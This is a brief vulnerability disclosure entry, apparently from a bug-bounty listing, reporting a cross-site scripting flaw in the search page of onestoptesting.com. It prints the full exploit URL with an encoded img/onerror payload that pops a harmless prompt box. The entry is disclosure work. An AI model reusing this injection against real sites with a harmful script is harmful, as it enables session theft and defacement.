onestoptesting.com XSS vulnerability

Vulnerable URL: http://www.onestoptesting.com/search.asp?cx=partner-pub-4686307991865625%3Ajy3vlwtsb5v=FORID%3A11=ISO-8859-1=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22=Search=www.onestoptesting.com%2Fblackbox-testing%2Fexample.asp=www.google.co.in%2F=1146j537858j4 Detail...